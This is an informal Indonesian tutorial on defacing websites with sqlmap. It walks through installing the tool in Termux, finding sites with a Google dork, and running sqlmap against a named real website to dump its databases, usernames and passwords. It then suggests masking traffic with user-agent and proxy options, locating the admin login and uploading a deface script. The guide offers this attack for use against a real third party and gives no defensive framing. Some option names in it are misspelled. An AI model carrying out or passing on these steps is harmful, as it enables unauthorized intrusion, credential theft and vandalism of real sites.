Deface metode Sqlmap
Bahan
-Google
-internet
-termux
Chuss
(lihat perintah dalam sqlmap.org)
Link vendor nya Disini coy
Buka termux
Kloning link vendor yg tdi
git clone (web vendor tadi)
setelah instalisasi kelar
Ketik
cd sqlmap
----------------------------------------------------------------------------------------------------------------------------------------------------
Sebelum itu kita mencari dork nya di sqlmap
Ketik
python2 sqlmap.py -g inurl:news.php?id=
Enter
Setelah web terkumpul
Mari eksekusi
======================================
Mna targetnya??
Nih gw udh ada http://www.richmondcc.com.au/news.php?id=10%27 <--saat eksekusi hapus tulisan (%27)
Yuks
python2 sqlmap.py -u http://www.richmondcc.com.au/news.php?id=10 --batch --dbs --dump
Tunggu mpe kelar nnti bakal ada data username sama password
Lalu gimana min cara mencari adminnya?
Gunakan --user-agent atau --user-random & --inogree-proxy
python2 sqlmap.py -u http://www.richmondcc.com.au/news.php?id=10 --user-agent --time-sec=10 --proxy
Tunggu dan ikuti perintah nya nanti bakal keluar koq web login nya😂
Lalu selesai mendapatkan semuanya ke admin login nya
Dan tebas pakai sc deface kalian
Moga berasil
